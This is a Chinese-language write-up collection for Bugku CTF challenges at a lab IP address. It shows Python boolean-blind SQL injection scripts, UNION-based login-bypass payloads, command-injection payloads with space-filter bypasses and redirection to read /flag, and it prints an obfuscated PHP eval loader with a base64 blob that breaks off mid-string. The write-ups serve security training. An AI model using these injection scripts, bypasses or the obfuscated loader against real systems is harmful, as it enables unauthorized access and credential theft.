payload="admin'^((ascii(mid((select(group_concat(passwd)))from(%s)))>%s))^'1"%(i,mid)
data = {'uname': payload, 'passwd': 'admin'}
res = requests.post(url, data=data)
if 'password' in res.text:
left=mid+1
else:
right=mid
mid=(left+right)//2
if(mid==32 or mid==127):
break
flag=flag+chr(mid)
print(flag)
得到paswword的MD5值:4dcc88f8f1bc05e7c2ad1a60288481a2通过在线password md5解密得到password的明文:bugkuctf猜测该明文为admin 的密码尝试输入用户名admin,密码:bugkuctf,可成功登陆到系统后台。http://114.67.246.176:19515/admin/执行ls 命令来列出当前目录存在的文件,发现并没有flag执行命令ls /,提示“危险字符,命令执行失败”说明空格被过滤了。在linux里面有很多方式可以代替空格如:
cat${IFS}flag.txtcat$IFS$9flag.txtcat<flag.txtcat<>flag.txt因此通过不断尝试,发现下面命令语句可获得flag:cat<>/flag或者cat</flag最终 flag:flag{9e35651ff816d9d3eebfbd0ca11607ce}
题目名称:login2题目描述:命令执行题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面是一个登陆窗口http://114.67.246.176:17385/login.php这里我们在登录页面输入用户名admin,密码123456,并通过burpsuit对其抓包,并发送数据包,发现在http 响应头中tip:的值出现了一串base64字符串。得到base64的tip值:JHNxbD0iU0VMRUNUIHVzZXJuYW1lLHBhc3N3b3JkIEZST00gYWRtaW4gV0hFUkUgdXNlcm5hbWU9JyIuJHVzZXJuYW1lLiInIjsKaWYgKCFlbXB0eSgkcm93KSAmJiAkcm93WydwYXNzd29yZCddPT09bWQ1KCRwYXNzd29yZCkpewp9进行base64解密得到一段代码如下:$sql="SELECT username,password FROM admin WHERE username='".$username."'";if (!empty($row) && $row['password']===md5($password)){}代码中的单双引号的嵌套,其中username和password列名在数据库中是存字符串的,而字符串是需要用引号引起来的,不然会出错。
这个时候最外面的双引号是具有解析变量的作用,而里面的单引号是给数据库语句用的,如果里面再用双引号就会跟最外面的双引号起冲突了,故用单引号。而sql语句中的两个变量username和password之所以用点号连接左右,是因为如果变量在单引号里面可能会不被解析出来,而被当成 一个字符串。
发现验证逻辑是取回数据库的密码后,再与post请求里的密码进行对比验证那么这里就可以考虑利用union注入来返回自己构造的账号和密码,实现伪造身份登入后台要注意的一点就是在union前的username在数据库中是不存在的,否则返回的$row数组只将第一条的密码进行校验,无法绕过可以看到是先提交的用户名之后再从数据中查询密码,随后再核对密码,然后也没有对 username 进行过滤的操作,于是构造payload如下:username=’ union select md5(1),md5(123)#&password=123可以看到成功请求登录成功。那么用户名:' union select md5(1),md5(123)#密码:123输入以上用户名和密码,可成功登录系统:执行这条语句时,由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(123)则会返回两个MD5的值,然后password我们也置为passwd,从而绕过if语句的判断。还原语句为:SELECT username,password FROM admin WHERE username='' union select md5(1),md5(123)#&password=123此时我们可以 username='', 两个 sql 语句进行联合操作时,当前一个语句选择的内容为空, 我们这里就将后面的语句的内容显示出来所以本题中的SELECT username,password FROM admin WHERE username='' union select md5(1),md5(123)#将会返回username passwordmd5(1) md5(123)这样就能使if判断为真if (!empty($row) && r o w [′password′] = = = m d 5 ( row['password']===md5(row[ ′ password ′ ]===md5(password))
或者构造如下poc:username=' union select 1,'76a2173be6393254e72ffa4d6df1030a'#&password=passwdpasswd的md5值为:76a2173be6393254e72ffa4d6df1030a通过bupsuit进行发送数据包,发现能成功登录系统那么用户名:' union select 1,'76a2173be6393254e72ffa4d6df1030a'#密码:passwd输入以上用户名和密码也能成功登录系统:
在输入框中输入以下字符串测试:lstest;lstest;cat index.php发现除了进程信息之外其他的都没有回显,不知道是不是有过滤,又更换命令的分解符号为|,&,&&均没有反应,这样存在两种可能,命令执行了,输出过滤了,或者是命令被过滤了这里采用写入文件二次返回的方法查看结果通过ls ../../../写入到test文件中123|ls ../../../>test访问http://114.67.246.176:11727/test发现在根目录下存在flag文件通过cat /flag命令写入到test文件中123|cat /flag>test访问http://114.67.246.176:11727/test,可得到flag的内容:最终flag:flag{471a4bb73b22b760eb3e317822dceafa}
题目名称:sql注入题目描述:基于布尔的盲注题目writeup:启动题目场景获得靶场网站,发现页面是一个登陆窗口。http://114.67.246.176:12716/输入admin用户,密码任意,发现密码错误,证明admin用户存在靶场系统中,但是不知道密码是多少。
输入用户admin' 密码任意,显示用户名不存在,说明单引号没被过滤
输入用户admin'#密码任意,显示密码错误,推测注释符号#被过滤了,但是输入用户名admin'%23或者admin'--,密码任意,显示用户名不存在,那么注释符号%23和--没有被过滤。测试发现…还过滤了空格,逗号,等号,for,空格用括号代替,等号用相反的<>(一种不等号)代替
之前的一组布尔要与payload结合起来,形成true/false的布尔。
这里使用^ 异或或者or 来实现都可以。 ,那么异或(^)或者-号以及单引号都没过滤,使用脚本异或注入跑出flag:
#coding=utf8
# 布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。
import requests
import string, hashlib
url = 'http://114.67.246.176:12716/'
sss = string.digits + (string.ascii_lowercase)
a = ''
for i in range(1, 50):
flag = 0
for j in sss:
payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
# 屏蔽了",",改用mid()函数,from表示起始位置
# ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit
# <>表示不等号
# ^表示异或
payload2 = "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#" % (i, ord(j))
# 由于没有屏蔽or,所以也可以用这个,可以形成一组布尔
payload3 = "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#" % (i, ord(j))
data = {'username': payload, 'password': 'admin'}
res = requests.post(url, data=data).text
if 'username does not exist!' in res:
a += j
flag = 1
print(a)
break
if flag == 0:
break
print(a)
得到paswword的MD5值:4dcc88f8f1bc05e7c2ad1a60288481a2通过在线password md5解密得到password的明文:bugkuctf尝试输入用户名admin,密码:bugkuctf,可成功登陆到系统后台。并获得flag最终得到flag:flag{003cacd6ecd6f1d33f935ef2acab6ea9}
题目名称:getshell题目writeup:启动题目场景,获得靶场网站,这里访问靶场网站的主页index.php页面,发现页面显示了一段php代码得到的php代码已被混淆加密了:<?php
define('pfkzYUelxEGmVcdDNLTjXCSIgMBKOuHAFyRtaboqwJiQWvsZrPhn', __FILE__);
$cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{6} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
$hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{33} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{10} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$vNwTOsKPEAlLciJDBhWtRSHXempIrjyQUuGoaknYCdFzqZMxfbgV = $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{18} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{3} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{0} . $hYXlTgBqWApObxJvejPRSdHGQnauDisfENIFyocrkULwmKMCtVzZ{1} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{24};
$ciMfTXpPoJHzZBxLOvngjQCbdIGkYlVNSumFrAUeWasKyEtwhDqR = $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{7} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{13};
$BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC.= $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{22} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{36} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{29} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{32} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{35} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{26} . $cPIHjUYxDZVBvOTsuiEClpMXAfSqrdegyFtbnGzRhWNJKwLmaokQ{30};
eval($BwltqOYbHaQkRPNoxcfnFmzsIjhdMDAWUeKGgviVrJZpLuXETSyC("JE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGI9IldBckllVEJFWFBaTlN0b3ppZ2hmcENPUlV2S0x5eFFubXdsR2NqYVZiRGtGdUpZZHNNSHF1d1dBZW1NVWhRb0NMYURma0Z4VEtsenRCWHJkT2liSEpqeU52WVNQcGNzSVpFR1JnblZxUWM5alNWd0ZvTlBKU3U1eXJsUjZTMkNzcHV5TlBJb3JMSUk1dnU5RFJVYU9wSHhmbVZSSmIwdGpQQnlvU3lFSXVzRUNQMmlidVU5MlJCNUhCMkV4b0JJVkVPaWpvSmE2dVBQeXBWeEl0MjF1RzJ0VW1zaUJTeXhjQjB5SG1CRWRtM1BBYkJvNUJIdHhHSjlpUjBLS0JQUjJ2MUtPQk54WnJtZ3NieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xjMTF2Smlzb3VDWG9OQkRBa0IydG1VeUMwVXlDWUF5bnNHeUNzYnlDWVUxRW1QY0VtdjJFbXYwbmxCMnptQTRFbUVVRW12akVtdjRFbXYxRW12aUVtdjVFbUVNQ2tCMmJPQjNua0IyYmtCMkNsQjJDZnN5Q0JHeUNZQnlDWUZ5Q1lueUNmbnlDZnZ5Q3NHMEVtRWxFbUcybmZ2eUNzVWtybWdzR2h5enZ1NXlwM0VVTFZ4TmJ5QzNHMGFEbU5LckJWdFFTQkNKdUJJSHVIb2twSXhQQnl0aFBKMWp0QjF0dDJhNkx1dGZSbTBzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdmVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnMlRMNHNieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xWZ2ZuMzBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bmZNOXpPdG90MUtBUkp5amIzUDZtMW9pdnlSQkJCb2dvSHlsTGh0YnYyeGtHM3h5THMxZEdCUEdwMjEzQkpSWlB1YW1vVUlubXN0cVFMdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmbmZUTDRzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdpblYwWkVVRXVtSkVjRzJLWHZ1SVpSaEV0b3V4RW8wUFFwQmlWdXMxUGVIeUJlSU1mUk5hM2Job0p2SUNkQnl4Z0xKeXNQMHROdUJ4N25ZdDlka3RsUHM1a2IyQ3FwM0l4cEhQT0J1UERMdVJJbTIxbnQxS0NQaEs1UFZ4YnYzdFdSMEkyb0hNbUwxRUdwVUtLb0lSVXR5eUFlZlVqVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnT0NWMDdFSXRzdlUxclMyeEd0aElTbUpDYkdoeGtlQmFodDNLdVJOUEhCdTVPdUJpUXRKeTFTc3RjcEJ4THBWUk1iSjlQTGhvbXYyRzlFSXlWdXN4MlNoTWNSaEtRUEhJT1AxdHR0SmlKZUJFRVJJTWZTTkVZZU5Qcm1CYXh0UHhYcGhSTG8yNVBTMUNzYkJpenROSzduVjBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bm14OWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmQzlka3RvdDFLQVJKeWpiM1A2bTFvaXZ5UkJCQm9nb0h5bExodGJ2MnhrRzN4eUxzMWRHQlBHcDIxM0JKUlpQdWFtb1VJbm1zdHFlZk05ZGt0b3QxS0FSSnlqYjNQNm0xb2l2eVJCQkJvZ29IeWxMaHRidjJ4a0czeHlMczFkR0JQR3AyMTNCSlJaUHVhbW9VSW5tc3RxZWZJOWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmQTBUbWdzdjNLeUcyMW9SdUlPcFZ4TlBCeWhldTlrUk5vWm1VNXJCUHRjdFZvYlMxb210MHhIdFBLS3VOeFFtQmEzdlVFc2J1S2lCWTBzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmczVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnaW4zMDdFTkk1bUhJWm91OU90VXg0dHNFbVIyQ2RTVWlxTHlNMG0yeWNveXlNbzFLMkdKaUdQUEVCUDFvYXZVUENCQlJXZXN5c3YzQlpRTHRsUHM1a2IyQ3FwM0l4cEhQT0J1UERMdVJJbTIxbnQxS0NQaEs1UFZ4YnYzdFdSMEkyb0hNbUwxRUdwVUtLb0lSVXR5eUFlZkFPVEw0c2J5b3pHc0NZU0o5aUd1NTF2eUl5U1V5SHRCOWFtVVJTbVBQNmVQdDRCVkMwUzNSTVJKb2pCMGFMdU5pclN1dGh0VW9vTFZnZkNIMFpFVUV1bUpFY0cyS1h2dUlaUmhFdG91eEVvMFBRcEJpVnVzMVBlSHlCZUlNZlJOYTNiaG9KdklDZEJ5eGdMSnlzUDB0TnVCeDduWXk5ZGt0bFBzNWtiMkNxcDNJeHBIUE9CdVBETHVSSW0yMW50MUtDUGhLNVBWeGJ2M3RXUjBJMm9ITW1MMUVHcFVLS29JUlV0eXlBZWZBMlRMNHNieW96R3NDWVNKOWlHdTUxdnlJeVNVeUh0QjlhbVVSU21QUDZlUHQ0QlZDMFMzUk1SSm9qQjBhTHVOaXJTdXRodFVvb0xWZ2ZuVjBaRVVFdW1KRWNHMktYdnVJWlJoRXRvdXhFbzBQUXBCaVZ1czFQZUh5QmVJTWZSTmEzYmhvSnZJQ2RCeXhnTEp5c1AwdE51Qng3bmZFOWRrdGxQczVrYjJDcXAzSXhwSFBPQnVQREx1UkltMjFudDFLQ1BoSzVQVnhidjN0V1IwSTJvSE1tTDFFR3BVS0tvSVJVdHl5QWVmbjFUTDRzYnlvekdzQ1lTSjlpR3U1MXZ5SXlTVXlIdEI5YW1VUlNtUFA2ZVB0NEJWQzBTM1JNUkpvakIwYUx1TmlyU3V0aHRVb29MVmdPQ0gwWkVVRXVtSkVjRzJLWHZ1SVpSaEV0b3V4RW8wUFFwQmlWdXMxUGVIeUJlSU1mUk5hM2Job0p2SUNkQnl4Z0xKeXNQMHROdUJ4N25mTTl6MlAyR3VqREVOSTVtSElab3U5T3RVeDR0c0VtUjJDZFNVaXFMeU0wbTJ5Y295eU1vMUsyR0ppR1BQRUJQMW9hdlVQQ0JCUldlc3lzdjNCREFzS0l1czl4TElLeEJZTWpweW9ndHlva3VWTTVHMFI0dlBLR3RIRUJudWl6UG1NZ1NQb0FCSG9ZblZ0Q0J1NURCMUdPdHN5eFBCNXFCeVBMblBLTlNVRXNuQkExdUowMHpCeWd2VlB5cHlLNUJzUnVleUNocFU1a1BCb2RQQlB6bklvWmJ5eXNuQjVMQllFTnYxb1BlTjl1bll5V29QUnp0MUV1Qll0U251aml1dWlyYjFDSVJJTXhuY1BpdUo1TmV5eXVMc2F5UEppNFBjTTBTeW9HTEh0dW5VR09Hc1JycHlLV25QSUxTMngyb2NDTHAySWd1SmF4UHlFckcwb0RiMUVoQ1BFaHBITUJQVXh1TE5Vam1zUFNQbUIwQlBvV0NQdGh6bUlrUGZQbFB1S3R6QnlxUk5pc3BCb2ZMMENZZDFNS0czUHJ0MEcxUE41TlJQS2h6aHlMdHVGMEJKYXJQTmJPbXNpeHRoeGlCMmlsbkliT3BVdFNwTmlsdVlJam55eWFlSXl1UHNLUFBZSVNSTkNJUHM1UFB1dE9vdWFnUzJuZlB1OXJ0SmlBUDJhRG5KSUdic3RzdVZNYlBKNU5lUEdpQnlFTHBoeGFvUFByTEp0TmJIS3h0MEtxb0JSdUwxdFBSTnhMUEp4Mkd5eHNCMURPQ1BveG5CNVdCUFA0bTFFVnAyOXJ0eUVXRzBCaUwyVU9TSXlMdVVveFBOMXpCUHlHU055eVBodEdCWUNqUDJ0VlBKNVBQZlA1UDFQNEJJRWFwY0l4UzFFVUd5UERCMkVBb1VFdHBteXVCMXhTUE5uT3V1OXJ0UEtRR0J4U0dQQWp2TjV1cFVvdUd5eGpldUNWZVZJU3VVb09QY0lnbXlCanBOeXVMSUUyR2ZNMG1QSVpTSUN1bnNvRUdQUHpTeUVQQllJU3RKeGxvY0lsQ1BLYUNWQ3JMVTQydXlSelJJUkdQSnhZcGhGMEJKaXVMeUdmcFZvb3B5RWFHSmE0bTFDZ3R5UHRuSUFPUEJSMFAxQmpvVXlTbklveEdQb0RwMWJqbkJpc24wRWN1c1BOdnVDdUxoSUNTdWFmTHNvTFMyQ0luQmF4bkp4b0J5eE5HUHRhbXlJb3VOeEtvUFAwdUlBZnZJUnN0MW9aUFB2MWVQUlBlSU1McHVqaUd1YUx0TkVQU0lDa0xOdGxCdTA1UHlDR3V5dFlueXlYTHNQU20ySUF1SklMblZNWlBKaU5QSkVHdlZ5WXQzeGl1eXhOdnliaXBVNVBuTmlLUHN4TFJKbmpSVTF0cEp4bVBZRU5MdUlQbUpLTFBQQWl1c29EYkpiaWJZUFNwbXRmTHN4ekN5S2htSHRodUlvREcyMTRDSUVnUHNLdW4yaTJ1dTVMcHVFV2VVOW1wVW9QQm1NTG55UFZSSVJQbk50RXVZTXVHdUl1U045Qm5jSW5vY0NsYjFLSXRISVlQc3lmTHN4ekN5S2htSHRodUlvREcyMTRDSUVnUHNLdW4yaTJ1dTVMcHVFV2VVOW1wVW9QQm1NTG55UFZSSVJQbk50RXVZTXVHdUl1U045Qm5jSW5vY0NsYjFLSXRISVlQc3lqbVVDTFBQS0FiczVtcGh0WFAwUHVlSVJXQ3VLUHQwRzB1dTVnbUlHam9jb3VweUVndVlJTlJ1Q2dwVTFCbklLam9JUmp0UFVPbkJ5UHBoRmZCUFByUnlvUHBjRVBuMDVhTDBDTHQxdGFTY0VoUzJ0ZHVZSVNCeW9obm1vWXBzRWZHdTF1ZU5VanpQS0JQczVydXVpTG5OQWZtc2lCdEJEMFB1aXNTSUNWcFV0b25Jb0lvSVJMdVBJR29JSXlQMUsxbVV0TXYwS0FtWW9TUDA1MFAxeHVTTkNhZWN0THBJb3JQWUNnUnl5WkJKMWtTM3hRQjJpTlBQVWpCWUVQdDN0aFBtTXNMUERqUEpJeFBKeFhQY3dpbU5iZmJzQ1N0Qm9pRzFvRXZVYW1TM01RUmYwOUFrc0t6ZjgrUWM5alNWd0ZvTlBKU3U1eXJsUlpTeW81djBFU1JIeE9tTmFOdXV0enAyb1lvMFIxR2hSVUxKRWd2VTltQkJQQUJ5UGFMMnlNU1ZLRWIyUDBCVTFpdUlSQkVPaWpvSmE2dVBQeXBWeEl0MjF1RzJ0VW1zaUJTeXhjQjB5SG1CRWRtM1BBYkJvNUJIdHhHSjlpUjBLS0JQUjJ2MUtPQk54WnJtZ3NtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZjMTF2Smlzb3VDWG9OQkRBa0IydG1VeUMwVXlDWUF5bnNHeUNzYnlDWVUxRW1QY0VtdjJFbXYwbmxCMnptQTRFbUVVRW12akVtdjRFbXYxRW12aUVtdjVFbUVNQ2tCMmJPQjNua0IyYmtCMkNsQjJDZnN5Q0JHeUNZQnlDWUZ5Q1lueUNmbnlDZnZ5Q3NHMEVtRWxFbUcybmZ2eUNzVWtybWdzTE5FR29WdFZQdWF5dEJ0Z0JKUmpSM0N4dkpvWlB5eVhQSUNkTHVDYlJKeGNQMktsU2hLdG1JSzR0czExZXUxTW1ISXJtZjBzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdmVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnMlRMNHNtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZWZ2ZuMzBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bmZNOXpPdEVwMkN5YjI1aVBzYVF0SmFPcElFcVBQTUlvVTVEYmhQbW1CS2xlSjFWUnl0bmVodEt2MlJqdXl5a0JQeEFvc3QzUDN4eFFMdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmbmZUTDRzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdpblYwWkVVOWdwc3RXZXM1eXZob3FMMjFvU1UxbExQQzRMc0MxdUpvdEJIUm5QMHhWdEhDMFB1Q01wMXh1ZWhFa1NCUEJCTklzbzNNN25ZdDlka3RRcE41VVMzS3pvaEkyU3NhYXV1eENic3ltZVVLY1JQS0pCUEUzbUlSQXQwb2ZSSVBZYnU5R1BIeU9HSnlJUElNeG9OUmplZlVqVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnT0NWMDdFVXRZR0h5Ym1ITW9CMGExdEJDMm91YUVQeUtnbTFJTlBVMTNvMXhLcHNJSkd1OUFvVktpU1VSaEJIRW52MjFyYkpLUFJWRjlFVXlYRzJQY3BISXVMMDlOUzNFZ0JKS1BCVVBzbUp4TVJQQ0NMc0U2cEJSMlBVaTVSTnlmbzNNU3V1RXR1VXhKdFZSaGVOSTduVjBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bm14OWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmQzlka3RFcDJDeWIyNWlQc2FRdEphT3BJRXFQUE1Jb1U1RGJoUG1tQktsZUoxVlJ5dG5laHRLdjJSanV5eWtCUHhBb3N0M1AzeHhlZk05ZGt0RXAyQ3liMjVpUHNhUXRKYU9wSUVxUFBNSW9VNURiaFBtbUJLbGVKMVZSeXRuZWh0S3YyUmp1eXlrQlB4QW9zdDNQM3h4ZWZJOWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmQTBUbWdzUzJDM0wyRW1vMnhoU2hLb3RoUE10MHRRUFVveExJeHRCSHRabVZ5bHBVS2piMHlhb3VLZnZzNTJ1SEliUFBvNG9zMXNwZjBzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmczVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnaW4zMDdFVXhrdU50MHQxUFdvQlBVcElFSHZWUmZHaEVKcHlvb3AxdG1MMHlZQlZvRGIxUnFiSnk2QkJpU2VVb0NSaHlhYkI1aUxzOFpRTHRRcE41VVMzS3pvaEkyU3NhYXV1eENic3ltZVVLY1JQS0pCUEUzbUlSQXQwb2ZSSVBZYnU5R1BIeU9HSnlJUElNeG9OUmplZkFPVEw0c20yaVp0TmE2bUpQaVJKS2RwUHlEbUJFRUIzeHJiM1BTb3lJTFIwaWhMVVJOdjN0UEcwSVh1SW81dkpFS3RQdGJHdXRIdlZnZkNIMFpFVTlncHN0V2VzNXl2aG9xTDIxb1NVMWxMUEM0THNDMXVKb3RCSFJuUDB4VnRIQzBQdUNNcDF4dWVoRWtTQlBCQk5Jc28zTTduWXk5ZGt0UXBONVVTM0t6b2hJMlNzYWF1dXhDYnN5bWVVS2NSUEtKQlBFM21JUkF0MG9mUklQWWJ1OUdQSHlPR0p5SVBJTXhvTlJqZWZBMlRMNHNtMmladE5hNm1KUGlSSktkcFB5RG1CRUVCM3hyYjNQU295SUxSMGloTFVSTnYzdFBHMElYdUlvNXZKRUt0UHRiR3V0SHZWZ2ZuVjBaRVU5Z3BzdFdlczV5dmhvcUwyMW9TVTFsTFBDNExzQzF1Sm90QkhSblAweFZ0SEMwUHVDTXAxeHVlaEVrU0JQQkJOSXNvM003bmZFOWRrdFFwTjVVUzNLem9oSTJTc2FhdXV4Q2JzeW1lVUtjUlBLSkJQRTNtSVJBdDBvZlJJUFlidTlHUEh5T0dKeUlQSU14b05SamVmbjFUTDRzbTJpWnROYTZtSlBpUkpLZHBQeURtQkVFQjN4cmIzUFNveUlMUjBpaExVUk52M3RQRzBJWHVJbzV2SkVLdFB0Ykd1dEh2VmdPQ0gwWkVVOWdwc3RXZXM1eXZob3FMMjFvU1UxbExQQzRMc0MxdUpvdEJIUm5QMHhWdEhDMFB1Q01wMXh1ZWhFa1NCUEJCTklzbzNNN25mTTl6MlAyR3VqREVVeGt1TnQwdDFQV29CUFVwSUVIdlZSZkdoRUpweW9vcDF0bUwweVlCVm9EYjFScWJKeTZCQmlTZVVvQ1JoeWFiQjVpTHM4REFzS0lTTjFzUHM1WlBJUHJCTlBWU1Zvc3BzRGpHSjBpdUpQYVJJb0xuSUtOUDI1enZJRU5TY1BtUzJpZnV1YTB0SUdPdlZSdVMzeHRQc3hzU0pDaFBKeEJTMG9tdXNvSXpCeWdvY010bjJ4NkcxUHVuUHRJQ1BQUG5OdG1HbUlTcFBSV1JVeXhwSW9TUEJQZ1J5RE9DQkN4UFBLWEcyMXJDUGJpU054b25Vb2dHc3ZpbjJDSXZOYXlweUtMQnNCaXQxeWdMeUtrUzN4Z1BZQ3VMSW9JUlZLQnBWd09QY0NsU3lEalBIeXN0Snhjb0JQekJKRVZ2SVJTUzFBZlBtQWlDdUNQU1ZNeG5CRXpvdTFMTDF5UHBWb3RQMnh1UDBSSEN1UFp0SjV4UHV0bVBJUlNTMkNVTEo